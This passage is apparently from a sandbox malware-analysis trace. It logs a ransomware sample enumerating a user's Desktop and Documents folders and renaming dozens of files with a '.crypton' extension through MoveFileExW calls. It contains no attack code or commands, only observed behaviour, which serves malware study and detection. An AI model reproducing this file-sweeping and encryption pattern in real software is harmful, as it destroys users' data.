HALPmcxz\\Desktop\\eRH34umMqA2dwO3.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\erh34ummqa2dwo3.odp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eRH34umMqA2dwO3.odp.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\erh34ummqa2dwo3.odp.crypton"), dwFlags=0x2) returned 1 [0212.878] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HH_oAm6TQU-SaNz3v.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hh_oam6tqu-sanz3v.avi"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HH_oAm6TQU-SaNz3v.avi.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hh_oam6tqu-sanz3v.avi.crypton"), dwFlags=0x2) returned 1 [0212.941] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\if86888iWFfzy.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\if86888iwffzy.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\if86888iWFfzy.bmp.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\if86888iwffzy.bmp.crypton"), dwFlags=0x2) returned 1 [0213.017] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lfsGHTq2Qt.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lfsghtq2qt.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lfsGHTq2Qt.bmp.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lfsghtq2qt.bmp.crypton"), dwFlags=0x2) returned 1 [0213.032] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M X-wkndAOXt28s.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m x-wkndaoxt28s.mp4"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M X-wkndAOXt28s.mp4.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m x-wkndaoxt28s.mp4.crypton"), dwFlags=0x2) returned 1 [0213.045] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MajZKa4-icPSvSH_i.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\majzka4-icpsvsh_i.avi"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MajZKa4-icPSvSH_i.avi.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\majzka4-icpsvsh_i.avi.crypton"), dwFlags=0x2) returned 1 [0213.061] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mves24l.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mves24l.pptx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mves24l.pptx.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mves24l.pptx.crypton"), dwFlags=0x2) returned 1 [0213.098] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M_edWjniYN5hYXWDGOs.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m_edwjniyn5hyxwdgos.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M_edWjniYN5hYXWDGOs.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m_edwjniyn5hyxwdgos.png.crypton"), dwFlags=0x2) returned 1 [0213.116] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\N31MtLHIBYR1FS.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n31mtlhibyr1fs.wav"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\N31MtLHIBYR1FS.wav.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n31mtlhibyr1fs.wav.crypton"), dwFlags=0x2) returned 1 [0213.137] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\O49aO li1.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\o49ao li1.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\O49aO li1.jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\o49ao li1.jpg.crypton"), dwFlags=0x2) returned 1 [0213.230] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OdRbhNa2TiwUPSQ0X.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\odrbhna2tiwupsq0x.avi"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OdRbhNa2TiwUPSQ0X.avi.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\odrbhna2tiwupsq0x.avi.crypton"), dwFlags=0x2) returned 1 [0213.305] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Of2_-wZI.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\of2_-wzi.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Of2_-wZI.mp3.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\of2_-wzi.mp3.crypton"), dwFlags=0x2) returned 1 [0213.389] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OIUDiOQRCgl.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oiudioqrcgl.wav"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OIUDiOQRCgl.wav.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oiudioqrcgl.wav.crypton"), dwFlags=0x2) returned 1 [0213.469] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p0_H7hy.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p0_h7hy.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p0_H7hy.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p0_h7hy.png.crypton"), dwFlags=0x2) returned 1 [0213.574] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p46_8Xvc-.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p46_8xvc-.doc"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p46_8Xvc-.doc.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p46_8xvc-.doc.crypton"), dwFlags=0x2) returned 1 [0213.583] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QyPLyr-vs.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qyplyr-vs.flv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QyPLyr-vs.flv.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qyplyr-vs.flv.crypton"), dwFlags=0x2) returned 1 [0213.739] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RxR39rYHId.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rxr39ryhid.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RxR39rYHId.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rxr39ryhid.png.crypton"), dwFlags=0x2) returned 1 [0213.757] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SMDHvGiy-dwyDg0GV1J.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\smdhvgiy-dwydg0gv1j.swf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SMDHvGiy-dwyDg0GV1J.swf.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\smdhvgiy-dwydg0gv1j.swf.crypton"), dwFlags=0x2) returned 1 [0213.762] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TiV_nGd88fU16J.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tiv_ngd88fu16j.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TiV_nGd88fU16J.m4a.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tiv_ngd88fu16j.m4a.crypton"), dwFlags=0x2) returned 1 [0213.917] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tS Hl41qJrW WJb.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ts hl41qjrw wjb.wav"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tS Hl41qJrW WJb.wav.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ts hl41qjrw wjb.wav.crypton"), dwFlags=0x2) returned 1 [0214.329] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UCuT.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ucut.csv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UCuT.csv.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ucut.csv.crypton"), dwFlags=0x2) returned 1 [0214.361] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\W5_d9JBT.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w5_d9jbt.avi"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\W5_d9JBT.avi.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w5_d9jbt.avi.crypton"), dwFlags=0x2) returned 1 [0214.396] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yIXUTPFL2UTjvD.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yixutpfl2utjvd.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yIXUTPFL2UTjvD.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yixutpfl2utjvd.png.crypton"), dwFlags=0x2) returned 1 [0214.409] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zps8UWu v-zhrJ3ys\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f7a9450, ftCreationTime.dwHighDateTime=0x1d4ce88, ftLastAccessTime.dwLowDateTime=0xfd259c20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfd259c20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0214.424] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zps8UWu v-zhrJ3ys\\3kS36wuz1ipQXCo 5zx.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zps8uwu v-zhrj3ys\\3ks36wuz1ipqxco 5zx.swf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zps8UWu v-zhrJ3ys\\3kS36wuz1ipQXCo 5zx.swf.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zps8uwu v-zhrj3ys\\3ks36wuz1ipqxco 5zx.swf.crypton"), dwFlags=0x2) returned 1 [0214.515] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zps8UWu v-zhrJ3ys\\9u4I2fjnf9H5G1.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zps8uwu v-zhrj3ys\\9u4i2fjnf9h5g1.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zps8UWu v-zhrJ3ys\\9u4I2fjnf9H5G1.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zps8uwu v-zhrj3ys\\9u4i2fjnf9h5g1.png.crypton"), dwFlags=0x2) returned 1 [0214.521] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zps8UWu v-zhrJ3ys\\Kyx8bJ\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf33ac320, ftCreationTime.dwHighDateTime=0x1d4c7f0, ftLastAccessTime.dwLowDateTime=0xfd38a720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfd38a720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0214.566] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zps8UWu v-zhrJ3ys\\Kyx8bJ\\Cwhi9.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zps8uwu v-zhrj3ys\\kyx8bj\\cwhi9.mp4"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zps8UWu v-zhrJ3ys\\Kyx8bJ\\Cwhi9.mp4.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zps8uwu v-zhrj3ys\\kyx8bj\\cwhi9.mp4.crypton"), dwFlags=0x2) returned 1 [0214.593] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zps8UWu v-zhrJ3ys\\Kyx8bJ\\DTAuHt.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zps8uwu v-zhrj3ys\\kyx8bj\\dtauht.rtf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zps8UWu v-zhrJ3ys\\Kyx8bJ\\DTAuHt.rtf.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zps8uwu v-zhrj3ys\\kyx8bj\\dtauht.rtf.crypton"), dwFlags=0x2) returned 1 [0214.651] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zps8UWu v-zhrJ3ys\\Kyx8bJ\\SL3L4jMVq0.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zps8uwu v-zhrj3ys\\kyx8bj\\sl3l4jmvq0.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zps8UWu v-zhrJ3ys\\Kyx8bJ\\SL3L4jMVq0.png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zps8uwu v-zhrj3ys\\kyx8bj\\sl3l4jmvq0.png.crypton"), dwFlags=0x2) returned 1 [0214.715] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zps8UWu v-zhrJ3ys\\Kyx8bJ\\ssdr3E-_L1Ogd5qVRpt.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zps8uwu v-zhrj3ys\\kyx8bj\\ssdr3e-_l1ogd5qvrpt.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zps8UWu v-zhrJ3ys\\Kyx8bJ\\ssdr3E-_L1Ogd5qVRpt.jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zps8uwu v-zhrj3ys\\kyx8bj\\ssdr3e-_l1ogd5qvrpt.jpg.crypton"), dwFlags=0x2) returned 1 [0214.722] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zps8UWu v-zhrJ3ys\\Kyx8bJ\\WkPxlCsa.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zps8uwu v-zhrj3ys\\kyx8bj\\wkpxlcsa.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zps8UWu v-zhrJ3ys\\Kyx8bJ\\WkPxlCsa.mp3.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zps8uwu v-zhrj3ys\\kyx8bj\\wkpxlcsa.mp3.crypton"), dwFlags=0x2) returned 1 [0214.753] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zps8UWu v-zhrJ3ys\\Kyx8bJ\\YDfTFOk5.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zps8uwu v-zhrj3ys\\kyx8bj\\ydftfok5.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zps8UWu v-zhrJ3ys\\Kyx8bJ\\YDfTFOk5.jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zps8uwu v-zhrj3ys\\kyx8bj\\ydftfok5.jpg.crypton"), dwFlags=0x2) returned 1 [0214.761] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zps8UWu v-zhrJ3ys\\Kyx8bJ\\ZPyE6Y0d.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zps8uwu v-zhrj3ys\\kyx8bj\\zpye6y0d.wav"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zps8UWu v-zhrJ3ys\\Kyx8bJ\\ZPyE6Y0d.wav.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zps8uwu v-zhrj3ys\\kyx8bj\\zpye6y0d.wav.crypton"), dwFlags=0x2) returned 1 [0214.768] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zps8UWu v-zhrJ3ys\\Pe7SOuex3OGd-.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zps8uwu v-zhrj3ys\\pe7souex3ogd-.pdf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zps8UWu v-zhrJ3ys\\Pe7SOuex3OGd-.pdf.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zps8uwu v-zhrj3ys\\pe7souex3ogd-.pdf.crypton"), dwFlags=0x2) returned 1 [0214.803] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_eoIrxFmdZ8F1PBoM.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_eoirxfmdz8f1pbom.csv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_eoIrxFmdZ8F1PBoM.csv.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_eoirxfmdz8f1pbom.csv.crypton"), dwFlags=0x2) returned 1 [0214.814] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfd65e140, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfd65e140, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0214.845] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\15Bn4AHKHdSJ.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\15bn4ahkhdsj.pptx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\15Bn4AHKHdSJ.pptx.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\15bn4ahkhdsj.pptx.crypton"), dwFlags=0x2) returned 1 [0214.953] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2WwzT1Vi.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2wwzt1vi.pptx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2WwzT1Vi.pptx.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2wwzt1vi.pptx.crypton"), dwFlags=0x2) returned 1 [0215.003] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6tGTAn.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\6tgtan.docx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6tGTAn.docx.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\6tgtan.docx.crypton"), dwFlags=0x2) returned 1 [0215.042] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7WmS.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\7wms.xlsx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7WmS.xlsx.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\7wms.xlsx.crypton"), dwFlags=0x2) returned 1 [0215.049] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8BU-3b D- iE\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf49598b0, ftCreationTime.dwHighDateTime=0x1d4cb94, ftLastAccessTime.dwLowDateTime=0xfd8995e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfd8995e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0215.058] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8BU-3b D- iE\\0WrBtlZZehE-2BHV.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8bu-3b d- ie\\0wrbtlzzehe-2bhv.pps"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8BU-3b D- iE\\0WrBtlZZehE-2BHV.pps.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8bu-3b d- ie\\0wrbtlzzehe-2bhv.pps.crypton"), dwFlags=0x2) returned 1 [0215.069] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8BU-3b D- iE\\AOpxYmV_Rq8YlkJwrgSX.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8bu-3b d- ie\\aopxymv_rq8ylkjwrgsx.xlsx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8BU-3b D- iE\\AOpxYmV_Rq8YlkJwrgSX.xlsx.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8bu-3b d- ie\\aopxymv_rq8ylkjwrgsx.xlsx.crypton"), dwFlags=0x2) returned 1 [0215.089] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8BU-3b D- iE\\LbCPVX3JII-eExq1.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8bu-3b d- ie\\lbcpvx3jii-eexq1.ppt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8BU-3b D- iE\\LbCPVX3JII-eExq1.ppt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8bu-3b d- ie\\lbcpvx3jii-eexq1.ppt.crypton"), dwFlags=0x2) returned 1 [0215.135] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8BU-3b D- iE\\VJ2V9.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8bu-3b d- ie\\vj2v9.pps"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8BU-3b D- iE\\VJ2V9.pps.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8bu-3b d- ie\\vj2v9.pps.crypton"), dwFlags=0x2) returned 1 [0215.178] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8BU-3b D- iE\\YcpIdZhuGmoNb.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8bu-3b d- ie\\ycpidzhugmonb.docx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8BU-3b D- iE\\YcpIdZhuGmoNb.docx.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8bu-3b d- ie\\ycpidzhugmonb.docx.crypton"), dwFlags=0x2) returned 1 [0215.183] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8BU-3b D- iE\\ydKOLcx\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x177e1cb0, ftCreationTime.dwHighDateTime=0x1d4c840, ftLastAccessTime.dwLowDateTime=0xfd9f0240, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xfd9f0240, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0215.205] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8BU-3b D- iE\\ydKOLcx\\8d0fpw2i95xB5ueogh.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8bu-3b d- ie\\ydkolcx\\8d0fpw2i95xb5ueogh.odt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8BU-3b D- iE\\ydKOLcx\\8d0fpw2i95xB5ueogh.odt.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8bu-3b d- ie\\ydkolcx\\8d0fpw2i95xb5ueogh.odt.crypton"), dwFlags=0x2) returned 1 [0215.236] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8BU-3b D- iE\\ydKOLcx\\8KVrH0BV1n3.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8bu-3b d- ie\\ydkolcx\\8kvrh0bv1n3.xlsx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8BU-3b D- iE\\ydKOLcx\\8KVrH0BV1n3.xlsx.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8bu-3b d- ie\\ydkolcx\\8kvrh0bv1n3.xlsx.crypton"), dwFlags=0x2) returned 1 [0215.262] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8BU-3b D- iE\\ydKOLcx\\JxktDT7J.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8bu-3b d- ie\\ydkolcx\\jxktdt7j.docx"), 